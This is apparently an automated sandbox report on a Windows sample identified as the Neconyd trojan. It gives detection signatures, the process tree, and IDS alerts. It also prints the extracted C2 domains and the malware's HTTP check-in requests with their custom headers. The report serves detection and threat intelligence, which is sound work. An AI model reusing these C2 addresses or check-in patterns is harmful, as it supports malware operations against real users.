Edit tour

Windows Analysis Report
fmlgbgc2p5.exe

Overview

General Information

Sample name:	fmlgbgc2p5.exe renamed because original name is a hash value
Original sample name:	8b0613982b6a7f0542a7dbfce43aa216a043ce9a2a2a24a7a2c77a6e8fa6aa72.exe
Analysis ID:	1569339
MD5:	809d8bedb2da450b588bf82e9a118fe4
SHA1:	5cb2c9863ddc2ba5346967bf0780554c8dc120f9
SHA256:	8b0613982b6a7f0542a7dbfce43aa216a043ce9a2a2a24a7a2c77a6e8fa6aa72
Tags:	exeuser-adrian__luca
Infos:

Detection

Neconyd

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Neconyd

C2 URLs / IPs found in malware configuration

Drops executables to the windows directory (C:\Windows) and starts them

Found API chain indicative of debugger detection

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

AV process strings found (often used to terminate AV products)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

fmlgbgc2p5.exe (PID: 7280 cmdline: "C:\Users\user\Desktop\fmlgbgc2p5.exe" MD5: 809D8BEDB2DA450B588BF82E9A118FE4)

fmlgbgc2p5.exe (PID: 7336 cmdline: C:\Users\user\Desktop\fmlgbgc2p5.exe MD5: 809D8BEDB2DA450B588BF82E9A118FE4)

omsecor.exe (PID: 7360 cmdline: C:\Users\user\AppData\Roaming\omsecor.exe MD5: 6E897A612472AD8B51062A6844A8A17B)

omsecor.exe (PID: 7452 cmdline: C:\Users\user\AppData\Roaming\omsecor.exe MD5: 6E897A612472AD8B51062A6844A8A17B)

omsecor.exe (PID: 8072 cmdline: C:\Windows\System32\omsecor.exe MD5: 678D56882701DBE0727C09DD075B56D1)

omsecor.exe (PID: 8100 cmdline: C:\Windows\SysWOW64\omsecor.exe MD5: 678D56882701DBE0727C09DD075B56D1)

omsecor.exe (PID: 8132 cmdline: C:\Users\user\AppData\Roaming\omsecor.exe MD5: A4BA09D8D586AF0201C2E6584BE09E59)

omsecor.exe (PID: 396 cmdline: C:\Users\user\AppData\Roaming\omsecor.exe MD5: A4BA09D8D586AF0201C2E6584BE09E59)

omsecor.exe (PID: 7440 cmdline: C:\Windows\System32\omsecor.exe MD5: 75B0F2A9AD432A0DBC138A050D744956)

omsecor.exe (PID: 7596 cmdline: C:\Windows\SysWOW64\omsecor.exe MD5: 75B0F2A9AD432A0DBC138A050D744956)

omsecor.exe (PID: 7612 cmdline: C:\Users\user\AppData\Roaming\omsecor.exe MD5: 50E482AEFE2A49BBCB4AAEE1B8C70305)

omsecor.exe (PID: 7296 cmdline: C:\Users\user\AppData\Roaming\omsecor.exe MD5: 50E482AEFE2A49BBCB4AAEE1B8C70305)

WerFault.exe (PID: 1168 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7612 -s 260 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 336 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 248 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 424 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8132 -s 276 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 8144 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8072 -s 280 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7564 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 276 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7424 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7280 -s 304 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Neconyd		No Attribution	https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Neconyd.A	https://malpedia.caad.fkie.fraunhofer.de/details/win.neconyd

Malware Configuration

Threatname: Neconyd

{"C2 url": ["http://mkkuei4kdsz.com/", "http://ow5dirasuek.com/", "http://lousta.net/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: fmlgbgc2p5.exe PID: 7280	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: fmlgbgc2p5.exe PID: 7336	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 7360	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 7452	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 8072	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 8100	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 8132	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 396	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 7440	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 7596	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 7612	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 7296	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Click to see the 7 entries

Suricata Signatures

ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T18:09:19.895177+0100	2016998	1	A Network Trojan was detected	192.168.2.7	49708	193.166.255.171	80	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T18:10:07.909220+0100	2018141	1	A Network Trojan was detected	52.34.198.229	80	192.168.2.7	49833	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T18:10:07.909220+0100	2037771	1	A Network Trojan was detected	52.34.198.229	80	192.168.2.7	49833	TCP

ET MALWARE Ransom.Win32.Birele.gsg Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T18:09:13.072527+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	50001	193.166.255.171	80	TCP
2024-12-05T18:09:41.929645+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49708	193.166.255.171	80	TCP
2024-12-05T18:10:04.071060+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49771	193.166.255.171	80	TCP
2024-12-05T18:10:05.646999+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49827	15.197.204.56	80	TCP
2024-12-05T18:10:07.719093+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49833	52.34.198.229	80	TCP
2024-12-05T18:10:32.196627+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49844	193.166.255.171	80	TCP
2024-12-05T18:10:54.384861+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49898	193.166.255.171	80	TCP
2024-12-05T18:10:55.730671+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49951	15.197.204.56	80	TCP
2024-12-05T18:10:57.327496+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49955	52.34.198.229	80	TCP
2024-12-05T18:11:21.525774+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49963	193.166.255.171	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: fmlgbgc2p5.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://mkkuei4kdsz.com/	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/441/819.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/349/212.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/	Avira URL Cloud: Label: phishing
Source: http://lousta.net/952/351.htmlU?	Avira URL Cloud: Label: phishing
Source: http://lousta.net/952/351.html_	Avira URL Cloud: Label: phishing
Source: http://lousta.net/370/988.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/952/351.htmlf?	Avira URL Cloud: Label: phishing
Source: http://lousta.net/349/212.htmlD	Avira URL Cloud: Label: phishing
Source: http://lousta.net/952/351.htmlx?3	Avira URL Cloud: Label: phishing
Source: http://lousta.net/952/351.htmlshqos.dll.mui=	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/612/675.htmlc	Avira URL Cloud: Label: phishing
Source: http://lousta.net/400/589.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/612/675.html	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/8	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/612/675.html%	Avira URL Cloud: Label: phishing
Source: http://lousta.net/400/589.htmlx	Avira URL Cloud: Label: phishing
Source: http://lousta.net/rontdesk	Avira URL Cloud: Label: phishing
Source: http://lousta.net/206/582.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/358/336.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/~	Avira URL Cloud: Label: phishing
Source: http://lousta.net/952/351.html6	Avira URL Cloud: Label: phishing
Source: http://lousta.net/349/212.html5T	Avira URL Cloud: Label: phishing
Source: http://lousta.net/952/351.htmlA	Avira URL Cloud: Label: phishing
Source: http://lousta.net/952/351.html	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/931/166.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/612/675.html-8a8d424fbe43573ef1LMEM	Avira URL Cloud: Label: phishing
Source: http://lousta.net/370/988.html=	Avira URL Cloud: Label: phishing
Source: http://lousta.net/206/582.htmlO2	Avira URL Cloud: Label: phishing
Source: http://lousta.net/0	Avira URL Cloud: Label: phishing
Source: http://lousta.net/349/212.html.T	Avira URL Cloud: Label: phishing
Source: http://lousta.net/952/351.html)	Avira URL Cloud: Label: phishing
Source: http://lousta.net/861/856.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Windows\SysWOW64\omsecor.exe	Avira: detection malicious, Label: HEUR/AGEN.1352667
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Avira: detection malicious, Label: HEUR/AGEN.1352667

Found malware configuration

Source: 0.2.fmlgbgc2p5.exe.4a5548.1.unpack

Malware Configuration Extractor: Neconyd {"C2 url": ["http://mkkuei4kdsz.com/", "http://ow5dirasuek.com/", "http://lousta.net/"]}

Multi AV Scanner detection for submitted file

Source: fmlgbgc2p5.exe

ReversingLabs: Detection: 89%

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\omsecor.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: fmlgbgc2p5.exe

Joe Sandbox ML: detected

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Unpacked PE file: 2.2.fmlgbgc2p5.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 7.2.omsecor.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\omsecor.exe	Unpacked PE file: 14.2.omsecor.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 18.2.omsecor.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\omsecor.exe	Unpacked PE file: 24.2.omsecor.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Unpacked PE file: 28.2.omsecor.exe.400000.0.unpack

Source: fmlgbgc2p5.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 0_2_004012C0 FindFirstFileA,	0_2_004012C0
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_0040ABD9 FindFirstFileW,FindClose,	2_2_0040ABD9
Source: C:\Users\user\Desktop\fmlgbgc2p5.exe	Code function: 2_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	2_2_00408248
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 4_2_004012C0 FindFirstFileA,	4_2_004012C0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_0040ABD9 FindFirstFileW,FindClose,	7_2_0040ABD9
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 7_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	7_2_00408248
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 13_2_004012C0 FindFirstFileA,	13_2_004012C0
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_0040ABD9 FindFirstFileW,FindClose,	14_2_0040ABD9
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 14_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	14_2_00408248
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 16_2_004012C0 FindFirstFileA,	16_2_004012C0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_0040ABD9 FindFirstFileW,FindClose,	18_2_0040ABD9
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 18_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	18_2_00408248
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 23_2_004012C0 FindFirstFileA,	23_2_004012C0
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_0040ABD9 FindFirstFileW,FindClose,	24_2_0040ABD9
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 24_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	24_2_00408248
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 26_2_004012C0 FindFirstFileA,	26_2_004012C0
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_0040ABD9 FindFirstFileW,FindClose,	28_2_0040ABD9
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Code function: 28_2_00408248 FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	28_2_00408248

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49708 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49771 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49833 -> 52.34.198.229:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49827 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49844 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49898 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49951 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49955 -> 52.34.198.229:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49963 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:50001 -> 193.166.255.171:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://mkkuei4kdsz.com/
Source: Malware configuration extractor	URLs: http://ow5dirasuek.com/
Source: Malware configuration extractor	URLs: http://lousta.net/

Source: global traffic	HTTP traffic detected: GET /370/988.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /400/589.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /931/166.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /612/675.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: ow5dirasuek.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /206/582.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /861/856.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /441/819.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /358/336.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: ow5dirasuek.comConnection: Keep-AliveCookie: snkz=8.46.123.228; btst=761ae05900180e6968d7f120981b37d6\|8.46.123.228\|1733418607\|1733418607\|0\|1\|0
Source: global traffic	HTTP traffic detected: GET /349/212.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /952/351.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 193.166.255.171 193.166.255.171
Source: Joe Sandbox View	IP Address: 52.34.198.229 52.34.198.229

Source: Joe Sandbox View	ASN Name: FUNETASFI FUNETASFI
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: TANDEMUS TANDEMUS

Source: Network traffic	Suricata IDS: 2016998 - Severity 1 - ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host) : 192.168.2.7:49708 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 52.34.198.229:80 -> 192.168.2.7:49833
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 52.34.198.229:80 -> 192.168.2.7:49833

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\fmlgbgc2p5.exe

Code function: 2_2_00407036 Sleep,DeleteFileW,CreateFileW,GetLastError,SetEndOfFile,InternetOpenUrlW,CloseHandle,InternetQueryDataAvailable,InternetReadFile,WriteFile,InternetReadFile,CloseHandle,InternetCloseHandle,

2_2_00407036

Source: global traffic	HTTP traffic detected: GET /370/988.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /400/589.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /931/166.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /612/675.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: ow5dirasuek.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /206/582.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /861/856.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /441/819.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /358/336.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: ow5dirasuek.comConnection: Keep-AliveCookie: snkz=8.46.123.228; btst=761ae05900180e6968d7f120981b37d6\|8.46.123.228\|1733418607\|1733418607\|0\|1\|0
Source: global traffic	HTTP traffic detected: GET /349/212.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /952/351.html HTTP/1.1From: 133778921561632797Via: dlngfrn[rfs=8-5_`oeb=6[pboan:11-0102_ls>321.^lby>.261e7/d4`7b3bc15212dc72^78-2148Host: lousta.netConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: lousta.net
Source: global traffic	DNS traffic detected: DNS query: mkkuei4kdsz.com
Source: global traffic	DNS traffic detected: DNS query: ow5dirasuek.com

Source: omsecor.exe	String found in binary or memory: http://lousta.net/
Source: omsecor.exe, 0000001C.00000002.2589203177.0000000000194000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/0
Source: omsecor.exe, 00000012.00000002.2334469520.0000000000668000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000012.00000002.2334469520.00000000006A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/206/582.html
Source: omsecor.exe, 00000012.00000002.2334469520.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/206/582.htmlO2
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/349/212.html
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/349/212.html.T
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/349/212.html5T
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/349/212.htmlD
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/349/212.htmld
Source: omsecor.exe, 00000007.00000002.1840387008.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000007.00000002.1840387008.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/370/988.html
Source: omsecor.exe, 00000007.00000002.1840387008.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/370/988.html=
Source: omsecor.exe, 00000007.00000002.1840387008.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/400/589.html
Source: omsecor.exe, 00000007.00000002.1840387008.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/400/589.htmlx
Source: omsecor.exe, 00000012.00000002.2334469520.00000000006A2000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000012.00000002.2334469520.00000000006C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/861/856.html
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004E3000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000001C.00000002.2589585236.00000000004F6000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000001C.00000002.2589203177.0000000000194000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/952/351.html
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/952/351.html)
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/952/351.html6
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/952/351.htmlA
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/952/351.htmlU?
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/952/351.html_
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/952/351.htmlf?
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/952/351.htmlshqos.dll.mui=
Source: omsecor.exe, 0000001C.00000002.2589585236.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/952/351.htmlx?3
Source: omsecor.exe, 00000007.00000002.1840387008.0000000000603000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/rontdesk
Source: omsecor.exe	String found in binary or memory: http://mkkuei4kdsz.com/
